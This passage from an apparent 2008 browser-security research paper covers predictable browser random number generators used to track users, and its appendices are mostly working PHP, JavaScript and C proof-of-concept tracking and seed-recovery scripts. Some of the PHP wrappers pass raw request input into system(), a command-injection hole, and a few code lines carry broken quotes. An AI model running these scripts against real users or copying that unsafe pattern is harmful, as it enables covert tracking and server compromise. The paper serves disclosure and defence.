The following PHP (4.2.0 and above) code demonstrates the attack. It can be embedded in a hidden IFRAME (in operational mode) and have the server analyze the *hwnd* values. In this demo, the *hwnd* value is simply echoed back. When disallowing cookies in IE, rendering this page yields two different session IDs, but identical *hwnd* values. When various windows become active, their *hwnd* values are displayed simultaneously in the two windows. But when the same page is rendered in two different computers, the *hwnd* value sequences are very different. Note that PHP 4.2.0 (and above) automatically attaches the session ID as a hidden field to the form (per the PHP INI setting of use_trans_sid).

```
<?php
ini_set("session.use_trans_sid","1");
session_start();
if (isset($_SERVER['CONTENT_TYPE']))
{
        $client_t=substr($_REQUEST['t'],0,-3).".".substr($_REQUEST['t'],-3);
        $server_t=time();
        $hwnd_mod_0x100000=substr($_SERVER['CONTENT_TYPE'],-5);
        echo "session_id=".session_id()."<br>\n";
        echo "server_t=$server_t"."<br>\n";
        echo "client_t=$client_t"."<br>\n";
        echo "hwnd (mod 0x100000)=$hwnd_mod_0x100000"."<br>\n";
}
?>
<html>
<body>
<form method="POST" enctype="multipart/form-data">
```

```
<input type="hidden" name="t">
</form>
<script>
var T=1000;
function send()
{
        var t=new Date();
        document.forms[0].t.value=t.getTime();
        document.forms[0].submit();
}
setTimeout("send();",T-((new Date()).getTime()%T));
</script>
</body>
</html>
```

This attack is somewhat similar to the "global cookie" concept, but notice the differences: the global cookie attack attempt to find a "global" session ID for a single process/window/tab, which doesn't change in time (for hours/days) – this session ID can identify the same computer to many sites (even when "Delete Browsing History" is applied. In contrast, this attack tries to find a more "temporary" signature – the sequence of *hwnd* values synchronized over a short period of time (seconds/minutes/hours), to identify two windows/tabs that are simultaneously active in the same computer.

Note that the client clock is used to synchronize the two sequences – in a way, the client clock can be used as a weak cookie in itself, see appendix D for more information.

4.2 Firefox – all platforms

In Firefox, the process startup time (in millisecond granularity) is obtained from the Math.random() seed, yielding 27-28 bits of entropy. Additionally, the JS mileage can be obtained (0-10 bits of entropy). On Firefox 3, the CRT mileage can be extracted as well, adding 0-10 bits of entropy. So overall, Firefox 3 can be identified via 27-48 bits, which is quite a lot. The scope of the global cookie is the Firefox process, which is singular, i.e. all windows/tabs share the same process.

4.3 Safari - Mac OS/X

On Mac OS/X, the attacker can obtain the time (in seconds granularity) of the first Math.random() (and CRT rand()) invocation in Safari. This yields some 17-18 bits of entropy. Additionally, the CRT mileage can be obtained, yielding another 0-10 bits, so the total entropy is around 17-28 bits. This applies to all windows/tabs and application launches, since Safari maintains a single process for all its windows and tabs.

4.4 Safari - Windows

On Windows, the attacker can obtain the time (in seconds granularity) of the first CRT rand() invocation in Safari (probably the first multipart form submission). This yields some 17-18 bits of entropy. Additionally, the CRT mileage can be obtained, yielding another 0-10 bits, so the total entropy is around 17-28 bits.

This applies to all windows/tabs and application launches, since Safari maintains a single process for all its windows and tabs.

4.5 Chrome - Windows

It is possible for a window in Chrome to calculate the seed of the CRT PRNG, which is indicative of the first rand() invocation. However, since by default, Chrome opens a new process per each navigation to a new site, the effectiveness of such techniques is very limited. It may still be possible for two frames (in the same hosting page) to detect that the same browser agent is accessing them using the above techniques, since two frames in the same page do share their PRNG state. A Chrome user may run Google Chrome in a "single process" mode (a simple matter of adding a command line argument – [30]), thereby making the PRNG shared among all tabs and windows, and increasing the scope of the attack. Likewise, if the user chooses the "one instance per tab", then the process will not be terminated when navigation to different sites occurs within the same tab, so the PRNG state will be preserved per tab.

5. Research by-products

5.1 Cross-site file upload

From the description in section 3, it may appear that forcing the browser to upload arbitrary content as a file to a 3rd party site is impossible. After all, there's no way to instruct the browser which content to upload (save for user assisted attack in which an actual file is chosen by the user).

However, [25] describes a vulnerability is many browsers which is exploited as described in [26] to conduct "cross site file upload" in which a browser bug is used to spoof headers and file content inside a single "part" of the POST request body. There is one tiny shortcoming of the method – it leaves at least one superfluous double quote somewhere in the part. This effect can be negated by attaching it to a meaningless header, or as a meaningless attribute in an existing header. [27] also describes a "cross site file upload" which requires the Adobe Flex player.

But being able to predict the exact boundary string that will be used next, which is a by-product from the above research, enables a "clean" (i.e. identical to manually sent requests) construction of cross site file upload requests, requiring only HTML and Javascript (no Flash). The construction is per browser and O/S, and is possible (and tested) for:

- IE (Windows)
- Firefox (Windows, Mac OS/X, probably all BSDs)
- Safari (Windows)
- Chrome (Windows)

5.2 Math.random() predictability

Another by-product of the research is the ability to predict the next values from Math.random(), and to reconstruct previous values from Math.random(). This jeopardizes client-side password generation schemes (google for Javascript password generator, e.g. [28], to get an idea of how widespread this practice is; naturally not all entries indexed by Google are vulnerable, but probably a large chunk of them is), and similar applications that rely on strong randomness of the Javascript Math.random() facility.

Math.random() predictability was demonstrated for:

- IE (Windows)
- Firefox (all platforms)
- Safari (Mac OS/X)

Chrome's Math.random() is also predictable, but since it's process scoped, and since Chrome starts a new process in each navigation to a new site, the de-facto scope of Math.random()'s predictability is limited (e.g. two frames on the same page).

6. Conclusions

TBD

7. Recommendations

7.1 Browser users

Browser users who value their privacy should terminate all browser processes frequently, especially between navigations which are not to be associated with each other. This is, of course, on top of the standard privacy practices such as deleting all cookies and all cache entries.

7.2 Web application developers

Application developers are encouraged not to rely on the randomness and unpredictability of Javascript's Math.random(). If client-side cryptographically strong randomness is required, it should be implemented as a strong cryptographic algorithm, keyed with good entropy source (perhaps by collecting and timing user keystrokes and mouse movements – the idea has been explored e.g. in [29]).

Additionally, cross-site file uploads can be prevented easily, by employing standard anti-CSRF measures.

7.3 Browser vendors

Browser vendors are encouraged to review their code for places where randomness is used. In such cases, two issues should be considered:

- Is cryptographically strong randomness needed? If so, CRT PRNG is probably not enough, and usage of industrial strength crypto should be heavily considered.
- Even if randomness strength is not an issue, there may be still an issue with the fact that the PRNG sequence may be used to identify the browser, and with the fact that the PRNG seed (if it can be found) may leak information.

Note that in both cases, there is a need for both strong cryptographic algorithm and good entropy key. If only strong crypto is used (but with a weak key), then the key can be guessed and information may be thus leaked (at least the mileage). If the key is strong, but the crypto isn't, then the PRNG may be rolled forward and backward (up to the key).

8. Disclosure timeline

November ???, 2008 – Vendors (Microsoft, Mozilla, WebKit.org, Apple, Google) notified.

9. Vendor status

TBD

10. References

[1] "meantime: non-consensual http user tracking using caches", Martin Pool, early 2000

http://sourcefrog.net/projects/meantime/

[2] "Remote physical device fingerprinting" (appeared in EEE Transactions on Dependable and Secure Computing), Tadayoshi Kohno (CSE Department, UC San Diego), Andre Broido (CAIDA, UC San Diego), kc claffy (CAIDA, UC San Diego), April-June 2005

http://www.cs.washington.edu/homes/yoshi/papers/PDF/KoBrCl05PDF-lowres.pdf

[3] "List of web browsers – Trident-based browsers" (Wikipedia entry)

http://en.wikipedia.org/wiki/List_of_web_browsers#Trident-based_browsers

[4] "JavaScript:TraceMonkey – Playing with TraceMonkey" (Mozilla.org website)
https://wiki.mozilla.org/JavaScript:TraceMonkey#Playing_with_TraceMonkey

[5] "List of web browsers – Gecko-based browsers" (Wikipedia entry)
http://en.wikipedia.org/wiki/List_of_web_browsers#Gecko-based_browsers

[6] "List of web browsers – KHTML and WebKit-based browsers" (Wikipedia entry)
http://en.wikipedia.org/wiki/List_of_web_browsers#KHTML_and_WebKit-based_browsers

[7] "ECMAScript Language Specification, 3rd Edition" (ECMA Standard), December 1999
http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf

[8] "IEEE 754-2008 – Rounding algorithms" (Wikipedia entry)
http://en.wikipedia.org/wiki/IEEE-754#Rounding_algorithms

[9] "Random (Java Platform SE 6) – nextDouble" (java.sun.com website)
http://java.sun.com/javase/6/docs/api/java/util/Random.html#nextDouble()

[10] "Hacking Web Applications Using Cookie Poisoning", Amit Klein, 2002
http://www.cgisecurity.com/lib/CookiePoisoningByline.pdf

[11] "/trunk/JavaScriptCore/wtf/MathExtras.h" (webkit.org Trac file)
http://trac.webkit.org/browser/trunk/JavaScriptCore/wtf/MathExtras.h

[12] (FreeBSD's file /src/lib/libc/stdlib/rand.c)
http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/src/lib/libc/stdlib/rand.c

[13] "v8 – svn/trunk/src/runtime.cc" (GoogleCode site)
http://code.google.com/p/v8/source/browse/trunk/src/runtime.cc

[14] "v8 – svn/trunk/src/platform-win32.cc" (GoogleCode site)
http://code.google.com/p/v8/source/browse/trunk/src/platform-win32.cc

[15] "Returning Values from Forms: multipart/form-data" (IETF RFC 2388), Larry Masinter, August 1988
http://www.ietf.org/rfc/rfc2388.txt

[16] "MIME (Multipurpose Internet Mail Extensions): Mechanisms for Specifying and Describing the Format of Internet Message Bodies" (IETF RFC 1341), Nathaniel S. Borenstein and Ned Freed, June 1992

http://www.ietf.org/rfc/rfc1341.txt

[17] "GetForegroundWindow Function ()" (MSDN documentation)

http://msdn.microsoft.com/en-us/library/ms633505.aspx

[18] "How are window manager handles determined in Windows NT?" (The Old New Thing MSDN blog), July 17th, 2007

http://blogs.msdn.com/oldnewthing/archive/2007/07/17/3903614.aspx

[19] "Microsoft Windows DNS Stub Resolver Cache Poisoning" (Trusteer website), Amit Klein, April 2008

http://www.trusteer.com/files/Microsoft_Windows_resolver_DNS_cache_poisoning.pdf

[20] "mozilla/ content/ html/ content/ src/ nsFormSubmission.cpp" (Mozilla website) – see function nsFSMultipartFormData::Init()

http://mxr.mozilla.org/firefox/source/content/html/content/src/nsFormSubmission.cpp?raw=1

[21] "Visual C++ Libraries Reference - Run-Time Library – srand" (MSDN website)

http://msdn.microsoft.com/en-us/library/f0d4wb4t.aspx

[22] "Mac OS X Manual Page for srand(3)" (Apple Darwin documentation site)

http://developer.apple.com/documentation/Darwin/Reference/ManPages/man3/srand.3.html

[23] "root/trunk/WebCore/html/HTMLFormElement.cpp" (WebKit Trac file)

http://trac.webkit.org/browser/trunk/WebCore/html/HTMLFormElement.cpp

[24] "PowerDNS Recursor DNS Cache Poisoning" (Trusteer website), Amit Klein, March 31st, 2008

http://www.trusteer.com/files/PowerDNS_recursor_DNS_Cache_Poisoning.pdf

[25] "newline injection in multipart/form-data" (vuln-dev mailing list post), Michal Zalewski, March 15th, 2007

http://www.securityfocus.com/archive/82/462949

[26] "CSRF-ing File Upload Fields" (blog entry), Alex K. ("kuza55"), February 22nd, 2008

http://kuza55.blogspot.com/2008/02/csrf-ing-file-upload-fields.html

[27] "Cross-site File Upload Attacks" (GNUCITIZEN blog entry), Petko D. Petkov ("pdp"), February 21st, 2008

http://www.gnucitizen.org/blog/cross-site-file-upload-attacks/

[28] Google search engine query for javascript password generator

http://www.google.com/search?q=javascript+password+generator

[29] "A Secure In-Browser JavaScript Password Generator" (blog entry), Tim Dierks, march 14th, 2007

http://tim.dierks.org/2007/03/secure-in-browser-javascript-password.html

[30] "Process Models (Chromium Developer Documentation)", Chromium website

http://dev.chromium.org/developers/design-documents/process-models

Appendix A1 – IE window/tab first Math.random() invocation time and JS mileage extraction

Due to the CPU time required to extract the data, the implementation is split into PHP wrapper around C/C++ code (whose binary is assumed to reside in the file IE_JS_mileage.exe). The C/C++ code requires 64-bit arithmetic extension (it is currently written to use MSVC 64-bit syntax):

```
<?php
if ($_REQUEST['r'])
{
        echo "<!--";
        $line=system("IE_JS_mileage.exe ".$_REQUEST['r']." ".$_REQUEST['t']);
        echo "-->";
        list($seed_time,$mileage)=explode(" ",$line);
        $str_t=gmdate("r",$seed_time);
        echo "First Math.random() invoked at $seed_time “;
        echo “[seconds since Epoch, GMT ($str_t)], ";
        echo "JS_mileage=$mileage [Math.random() invocations]";}
?>
<html>
<body>
<form method="POST" onSubmit="f()">
<input type="hidden" name="r">
<input type="hidden" name="t">
<input type="submit" name="dummy" value="Calculate IE first Math.random invocation
time and JS_mileage">
</form>
<script>
function f()
{
        document.forms[0].r.value=Math.random();
        document.forms[0].t.value=(new Date()).getTime();
}
</script>
</body>
</html>
```

```
#include <stdlib.h>
#include <stdio.h>

#define UINT64(x) (x##I64)

typedef unsigned __int64 uint64;
typedef unsigned int uint32;

#define a UINT64(0x5DEECE66D)
#define b UINT64(0xB)

#define inv_a ((UINT64(1)<<48)-UINT64(35320271006875))

#define T (2*86400*UINT64(1000)) // valid process age (2d), in milliseconds
#define R 10000 // valid mileage

uint64 adv(uint64 x)
{
        return (a*x+b) & ((UINT64(1)<<48)-1);
```

```
}

uint64 rev(uint64 x)
{
        x=(x-b)&((UINT64(1)<<48)-1);
        return (x*inv_a)&((UINT64(1)<<48)-1);
}

int main(int argc, char* argv[])
{
        int i,v,k;
        int pos[32]={17,19,21,23,25,27,29,31,1,3,5,7,9,11,13,15,
                     16,18,20,22,24,26,28,30,0,2,4,6,8,10,12,14};
        int revpos[32];
        double sample=atof(argv[1]);
        uint64 t_client=_atoi64(argv[2]);
        uint64 sample_int=sample*((double)(UINT64(1)<<54));
        uint32 x1=sample_int>>27;
        uint32 x2=sample_int & ((1<<27)-1);

        for (i=0;i<32;i++)
        {
                revpos[pos[i]]=i;
        }

        if ((sample>=1.0) || (sample<0.0))
        {
                // Error - bad input
                printf("-1 -1\n");
                return 0;
        }

        if (t_client>(UINT64(1000)<<31))
        {
                // Error - bad input
                printf("-1 -1\n");
                return 0;
        }

        if ((sample_int & (UINT64(1)<<53)) && (sample_int & 1))
        {
                // Error - bad input
                printf ("-1 -1\n");
                return 0;
        }

        for (v=0;v<(1<<21);v++)
        {
                uint64 state=adv((((uint64)x1)<<21)|v);
                uint32 out=state>>(48-27);
                if ((sample_int & (UINT64(1)<<53)) && (out & 1))
                {
                        // Turn off least significant bit (which we know is 1).
                        out--;

                        // Perform Round to Nearest (even number, but keep in mind that
                        // we don't count the least significant bit)
                        if (out & 2)
                        {
                                out+=2;
                        }
                }
                if (out==x2)
                {
```

```
                        // Found it!
                        state=rev((((uint64)x1)<<21)|v);
                        for (k=0;k<R;k++)
                        {
                                uint32 state_high_32=state>>16;
                                uint64 t;
                                uint32 t_high,t_low=0;
                                // Reverse the bit permutation
                                for (i=0;i<32;i++)
                                {
                                        t_low|=((state_high_32>>i)&1)<<revpos[i];
                                }

                                // Reverse the XOR
                                t_low^=0xDEECE66D;

                                t_high=(t_low^state)&0xFFFF;
                                t=(((uint64)t_high)<<32)|t_low;
                                if ((t<=t_client) && (t>(t_client-T)))
                                {
                                        printf("%d.%03d %d\n",
                                                (uint32)(t/1000),(uint32)(t%1000),k);
                                        return 0;
                                }
                                state=rev(rev(state));
                        }
                }
        }

        // Not found
        printf("-1 -1\n");
        return 0;
}
```

Appendix A2 - Firefox process startup time and JS mileage extraction

Due to the CPU time required to extract the data, the implementation is split into PHP wrapper around C/C++ code (whose binary is assumed to reside in the file Firefox_JS_mileage.exe). The C/C++ code requires 64-bit arithmetic extension (it is currently written to use MSVC 64-bit syntax):

```
<?php
if ($_REQUEST['r'])
{
        echo "<!--";
        $line=system("Firefox_JS_mileage.exe ".$_REQUEST['r']." ".$_REQUEST['t']);
        echo "-->";
        list($seed_time,$mileage)=explode(" ",$line);
        $str_t=gmdate("r",$seed_time);
        echo "seed_time=$seed_time ";
        echo "[seconds since Epoch, GMT ($str_t)], ";
        echo "JS_mileage=$mileage [Math.random() invocations]";
}
?>
<html>
<body>
<form method="POST" onSubmit="f()">
<input type="hidden" name="r">
<input type="hidden" name="t">
<input  type="submit"  name="dummy"  value="Calculate  Firefox  startup  time  and
JS_mileage">
</form>
<script>
function f()
{
        document.forms[0].r.value=Math.random();
        document.forms[0].t.value=(new Date()).getTime();
}
</script>
</body>
</html>
```

```
#include <stdlib.h>
#include <stdio.h>

typedef unsigned __int64 uint64;
typedef unsigned int uint32;

#define UINT64(x) (x##I64)

#define a UINT64(0x5DEECE66D)
#define b UINT64(0xB)
#define inv_a ((UINT64(1)<<48)-UINT64(35320271006875))

#define T (2*86400*UINT64(1000)) // valid process age (2d), in milliseconds
#define R 1000000 // valid mileage

uint64 adv(uint64 x)
{
        return (a*x+b) & ((UINT64(1)<<48)-1);
```

```
}

uint64 rev(uint64 x)
{
        x=(x-b)&((UINT64(1)<<48)-1);
        return (x*inv_a)&((UINT64(1)<<48)-1);
}

int main(int argc, char* argv[])
{
        int i,v;
        double sample=atof(argv[1]);
        uint64 t_client=_atoi64(argv[2]);
        uint64 sample_int=sample*((double)(UINT64(1)<<53));
        uint32 x1=sample_int>>27;
        uint32 x2=sample_int & ((1<<27)-1);

                if ((sample>=1.0) || (sample<0.0))
        {
                // Error - bad input
                printf("-1 -1\n");
                return 0;
        }

        if (t_client>(UINT64(1000)<<31))
        {
                // Error - bad input
                printf("-1 -1\n");
                return 0;
        }

        for (v=0;v<(1<<22);v++)
        {
                uint64 state=adv((((uint64)x1)<<22)|v);
                uint32 out=(state>>(48-27))&((1<<27)-1);
                if (out==x2)
                {
                        for (i=0;i<R;i++)
                        {
                                uint64 seed;
                                state=rev(rev(state));
                                seed=(state^a);
                                if ((seed<=t_client) && (seed>(t_client-T)))
                                {
                                        printf("%d.%03d %d\n",
                                        (uint32)(seed/1000),(uint32)(seed%1000),i);
                                        return 0;
                                }
                        }
                }
        }

        printf("-1 -1\n");
        return 0;
}
```

Appendix A3 – Safari (Mac OS/X) first Math.random() invocation time and CRT mileage extraction

This PHP script uses PHP's BCMath package for some arithmetic calculations.

```
<?php
// Integer arithmetic suffices
bcscale(0);

// 2^31-1
$two_31_minus_1=bcsub(bcpow(2,31),1);

define("MAX_AGE",2*86400);
define("MAX_MILEAGE",10000);

function adv_state($state)
{
        global $two_31_minus_1;
        // Return (7^5*$state) mod 2^31-1
        return bcmod(bcmul(16807,$state),$two_31_minus_1);
}

function prev_state($state)
{
        global $two_31_minus_1;

        return bcmod(bcmul("1407677000",$state),$two_31_minus_1);
}

function find_state_and_mileage($r,$t)
{
        $state=$r;
        for ($k=0;$k<MAX_MILEAGE;$k++)
        {
                $state=prev_state($state);
                if ((bccomp($state,$t)<=0) and (bccomp($state,bcsub($t,MAX_AGE))>0))
                {
                        return array($state,$k);
                }
        }

        return array(NULL,NULL);
}

if (isset($_REQUEST['r']))
{
        list($state,$mileage)=find_state_and_mileage($_REQUEST['r'],$_REQUEST['t']);
}
?>
<html>
<body>
<?php
if (isset($mileage))
{
?>
Mileage: <?php echo $mileage; ?>
```

```
<br>
<?php
$str_t=gmdate("r",$state);
echo "process startup time: $state “;
echo “ [seconds since Epoch, GMT ($str_t)], “;
echo “ CRT_mileage=$mileage [rand() invocations]";
?>
<br>
<?php
}
?>
<form method="POST" onSubmit="f()">
<input type="hidden" name="r">
<input type="hidden" name="t">
<input   type="submit"   name="dummy"   value="Calculate   Safari   (Mac   OS/X)   first
Math.random()/rand() invocation time and CRT mileage">
</form>
<script>
function f()
{
        document.forms[0].r.value=Math.random()*Math.pow(2,31);
        document.forms[0].t.value=(new Date()).getTime()/1000;
}
</script>

</body>
</html>
```

Appendix A4 – Chrome (Windows) process startup time and CRT mileage extraction

This PHP script uses PHP's BCMath package for some arithmetic calculations. The script also assumes that multipart form submission has not taken place in the process (the first multipart form submission reseeds the PRNG with a seed of a different format).

```
<?php
define("MAX_AGE",3600);
define("MAX_MILEAGE",100);

$two_31=bcpow(2,31);

function adv($x)
{
        global $two_31;
        return bcmod(bcadd(bcmul(214013,$x),"2531011"),$two_31);
}

function prev_state($state)
{
        global $two_31;

        $state=bcmod(bcsub(bcadd($state,$two_31),"2531011"),$two_31);
        $state=bcmod(bcmul("968044885",$state),$two_31);
        return $state;
}

if ($_REQUEST['r1'])
{
        $rnd[0]=$_REQUEST['r1'];
        $rnd[1]=$_REQUEST['r2'];
        $t=$_REQUEST['t'];

        $r=array();
        for ($i=0;$i<2;$i++)
        {
                array_push($r,$rnd[$i] & 0x7FFF);
                array_push($r,$rnd[$i]>>15);
        }

        $found=false;
        for ($v=0;$v<(1<<16);$v++)
        {
                $state=($r[0]<<16)|$v;
                for ($j=1;$j<4;$j++)
                {
                        $state=adv($state);
                        if ((($state>>16)&0x7FFF)!=$r[$j])
                        {
                                break;
                        }
                }
                if ($j==4)
                {
                        $state=prev_state(prev_state(prev_state(prev_state($state))));
                        for ($k=0;$k<MAX_MILEAGE;$k++)
                        {
                                if (bccomp(bcmod(bcsub(bcadd(bcpow(2,41),$state),
                                        bcsub(bcmul($t,1000),bcmul(MAX_AGE,1000))),
                                        $two_31),bcmul(MAX_AGE,1000))==-1)
                                {
                                        $seed_time=bcadd(bcmul(
                                                floor(bcdiv(bcsub(bcmul($t,1000),bcmul
                                                (MAX_AGE,1000)),$two_31)),$two_31),$state)
                                                ;
                                        $str_t=gmdate("r",bcdiv($seed_time,1000));
                                        echo "seed=$state, ";
                                        echo "process startup time=".
                                                substr_replace($seed_time,".",-3,0)." ";
                                        echo "[seconds since Epoch, GMT ($str_t)], ";
                                        echo "mileage=$k [rand() invocations]";
```

```
                                        $found=true;
                                        break;
                                }
                                $state=prev_state($state);
                        }
                }
                if ($found)
                {
                        break;
                }
        }

        if (! $found)
        {
                echo "Could not find seed";
        }
}
?>
<html>
<body>
<form method="POST" onSubmit="f()">
<input type="hidden" name="r1">
<input type="hidden" name="r2">
<input type="hidden" name="t">
<input type="submit" name="dummy" value="Calculate Chrome (Windows) process startup
time and CRT mileage">
</form>
<script>
function f()
{
        document.forms[0].r1.value=Math.random()*Math.pow(2,30);
        document.forms[0].r2.value=Math.random()*Math.pow(2,30)
        document.forms[0].t.value=(new Date()).getTime()/1000;
        return true;
}
</script>
</body>
</html>
```

Appendix B1 – IE *hwnd* extraction using time field reconstruction

The following PHP script extracts the current window *hwnd* and displays it. On very slow machines, it may fail. The *hwnd* extracted can be compared to the window handle number reported by e.g. Spy++ for the IEFrame window.

```
<?php
define("TICK_TIME",15.625);
define("TICK_TOLERANCE",4);

if (isset($_REQUEST['t']))
{
        $m=intval(substr($_REQUEST['t'],-3));
        $t=intval(substr($_REQUEST['t'],0,-3));
        $offset=array();

        // Allow up to TICK_TOLERANCE ticks between JS sampling of time
        // and actual form submission. Additionally, allow up to 1ms adjustment.
        for ($i=0;$i<=TICK_TOLERANCE;$i++)
        {
                $offset[intval(floor(TICK_TIME*$i))]=TRUE;
                $offset[intval(floor(TICK_TIME*$i))-1]=TRUE;
                $offset[intval(ceil(TICK_TIME*$i))]=TRUE;
                $offset[intval(ceil(TICK_TIME*$i))+1]=TRUE;
        }

        // Serialize each possible offset and check if it's a prefix
        // of the boundary value
        $count=0;
        foreach ($offset as $o => $dummy)
        {
                $m_eff=$m+$o;
                $t_eff=$t;
                if ($m_eff>=1000)
                {
                        $t_eff++;
                        $m_eff-=1000;
                }
                $parsed_t=getdate($t_eff);
                $prefix="---------------------------".
                                dechex($parsed_t['year']).
                                dechex($m_eff).
                                dechex($parsed_t['seconds']);
                if (strpos($_SERVER['CONTENT_TYPE'],$prefix))
                {
                        if (isset($hwnd))
                        {
                                echo "Oops - ambiguous hwnd (try again...)";
                                exit;
                        }
                        else
                        {
                                $hwnd=substr($_SERVER['CONTENT_TYPE'],
                                                strpos($_SERVER['CONTENT_TYPE'],$prefix)+
                                                strlen($prefix));
                        }
                }
        }
```

```
        if (isset($hwnd))
        {
                echo "hwnd = 0x".substr("00000000",strlen($hwnd)).$hwnd."<br>\n";
        }
        else
        {
                echo "Oops - no matches (non-IE?)";
        }
}
?>
<html>
<body>
<form method="POST" enctype="multipart/form-data" onSubmit="f()">
<input type="hidden" name="t">
<input type="submit" name="dummy" value="Calculate IE hwnd">
</form>
<script>
function f()
{
        document.forms[0].t.value=(new Date()).getTime();
}
</script>
</body>
</html>
```

Appendix B2 – Firefox 3 CRT mileage extraction (Windows)

This PHP script uses PHP's BCMath package for some arithmetic calculations.

```
<?php
// Integer arithmetic suffices
bcscale(0);

// 2^31
$two_31=bcpow(2,31);

function adv_state($state)
{
	global $two_31;
	// Return (214013*$state+2531011) mod 2^31
	return bcmod(bcadd(bcmul(214013,$state),2531011),$two_31);
}

function get_rand($state)
{
	// Return ($state>>16) by dividing by 2^16 == 0x10000.
	// To force rounding down, first subtract the remainder, then divide.
	return bcdiv(bcsub($state,bcmod($state,0x10000)),0x10000);
}

function find_mileage($boundary,$max_hops)
{
	$output=array();
	$state=1;
	for ($init=0;$init<3;$init++)
	{
		$state=adv_state($state);
		array_push($output,get_rand($state));
	}
	for ($k=0;$k<$max_hops;$k++)
	{
		if ($boundary===$output[0].$output[1].$output[2])
		{
			return $k;
		}
		$state=adv_state($state);
		array_push($output,get_rand($state));
		array_shift($output);
	}

	return NULL;
}

if (isset($_SERVER['CONTENT_TYPE']))
{
	$ct=$_SERVER['CONTENT_TYPE'];
	$prefix="boundary=--------------------------";
	$boundary=substr($ct,strpos($ct,$prefix)+strlen($prefix));

	$mileage=find_mileage($boundary,100000);
	echo "CRT_mileage: $mileage<br>\n";
}
```

```
?>
<html>
<body>
<br>
<form method="POST" enctype="multipart/form-data">
<input type="submit" name="dummy" value="Calculate Firefox 3 (Windows) CRT mileage">
</form>
</body>
</html>
```

Appendix B3 – Firefox 3 CRT mileage extraction (Mac OS/X)

This PHP script uses PHP's BCMath package for some arithmetic calculations.

```
<?php
// Integer arithmetic suffices
bcscale(0);

// 2^31-1
$two_31_minus_1=bcsub(bcpow(2,31),1);

function adv_state($state)
{
	global $two_31_minus_1;
	// Return (7^5*$state) mod 2^31-1
	return bcmod(bcmul(16807,$state),$two_31_minus_1);
}

function find_mileage($boundary,$max_hops)
{
	$output=array();
	$state=1;
	for ($init=0;$init<3;$init++)
	{
		$state=adv_state($state);
		array_push($output,$state);
	}
	for ($k=0;$k<$max_hops;$k++)
	{
		if ($boundary===$output[0].$output[1].$output[2])
		{
			return $k;
		}
		$state=adv_state($state);
		array_push($output,$state);
		array_shift($output);
	}

	return NULL;
}

if (isset($_SERVER['CONTENT_TYPE']))
{
	$ct=$_SERVER['CONTENT_TYPE'];
	$prefix="boundary=--------------------------";
	$boundary=substr($ct,strpos($ct,$prefix)+strlen($prefix));

	$mileage=find_mileage($boundary,100000);
	echo "CRT_mileage: $mileage<br>\n";
}
?>
<html>
<body>
<br>
<form method="POST" enctype="multipart/form-data">
<input type="submit" name="dummy" value="Calculate Firefox 3 (Mac OS/X) CRT mileage">
</form>
```

```
</body>
</html>
```

Appendix B4 – WebKit (Safari, Chrome) process first rand() invocation time and CRT mileage extraction (Windows)

This PHP script uses PHP's BCMath package for some arithmetic calculations. It may take few seconds to run.

```
<?php
define("MAX_AGE",2*86400);
define("MAX_MILEAGE",1000);

$charmap=array(
        0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48,
        0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50,
        0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58,
        0x59, 0x5A, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66,
        0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E,
        0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76,
        0x77, 0x78, 0x79, 0x7A, 0x30, 0x31, 0x32, 0x33,
        0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x2B, 0x41
);

$two_30=bcpow(2,30);

function find_state($boundary)
{
        global $charmap;
        global $two_30;

        $reverse_charmap=array();
        for ($i=0;$i<64;$i++)
        {
                $reverse_charmap[chr($charmap[$i])]=$i;
        }

        for ($i=0;$i<4;$i++)
        {
                if ((substr($boundary,4*$i,1)!='A')||(substr($boundary,4*$i+1,1)!='A'))
                {
                        // Error - two high bytes in each 32-bit word should be 0 in
                        // Windows's rand() result.
                        return NULL;
                }
        }

        $high_byte=array();
        if (substr($boundary,2,1)=='A')
        {
                array_push($high_byte,0);
                array_push($high_byte,0x3F);
        }
        else
        {
                array_push($high_byte,$reverse_charmap[substr($boundary,2,1)]);
        }

        $low_byte=array();
        for ($q=0;$q<0x100;$q+=0x40)
        {
                if (substr($boundary,3,1)=='A')
                {
                        array_push($low_byte,0+$q);
                        array_push($low_byte,0x3F+$q);
                }
                else
                {
                        array_push($low_byte,
                                        $reverse_charmap[substr($boundary,3,1)]+$q);
                }
        }

        for ($hb=0;$hb<count($high_byte);$hb++)
```

```
        {
                for ($lb=0;$lb<count($low_byte);$lb++)
                {
                        $a=($high_byte[$hb]<<8)|$low_byte[$lb];
                        for ($v=0;$v<0x10000;$v++)
                        {
                                $x=($a<<16)|$v;
                                for ($u=1;$u<4;$u++)
                                {
                                        $x=bcmod(bcadd(bcmul(214013,$x),
                                                "2531011"),$two_30);
                                        $r=($x>>16)&0x7FFF;
                                        if ((chr($charmap[($r>>8)&0x3F])!=
                                                substr($boundary,4*$u+2,1)) ||
                                                (chr($charmap[$r & 0x3F])!=
                                                substr($boundary,4*$u+3,1)))
                                        {
                                                break;
                                        }
                                }
                                if ($u<4)
                                {
                                        // no match
                                        continue;
                                }
                                // found a match!
                                if (isset($state))
                                {
                                        // ambiguous
                                        return NULL;
                                }
                                else
                                {
                                        $state=$x;
                                }
                        }
                }
        }
        if (isset($state))
        {
                return $state;
        }
        else
        {
                // no match
                return NULL;
        }
}

function prev_state($state)
{
        global $two_30;

        // 968044885 * 214013 - 192946 * 1073741824 = 1
        $state=bcmod(bcadd($state,bcsub($two_30,"2531011")),$two_30);
        $state=bcmod(bcmul("968044885",$state),$two_30);
        return $state;
}

if (isset($_SERVER['CONTENT_TYPE']))
{
        $prefix="----WebKitFormBoundary";
        if (strpos($_SERVER['CONTENT_TYPE'],$prefix))
        {
                $boundary=substr($_SERVER['CONTENT_TYPE'],
                                strpos($_SERVER['CONTENT_TYPE'],$prefix)+
                                strlen($prefix));
                $state=find_state($boundary);
                $t=$_REQUEST['t'];
                for ($i=0;$i<MAX_MILEAGE+3;$i++)
                {
                        $state=prev_state($state);
                        $seed_time=$state|0x40000000;
                        if ((bccomp($seed_time,$t)<=0) &&
                                 (bccomp($seed_time,bcsub($t,MAX_AGE))==1))
                        {
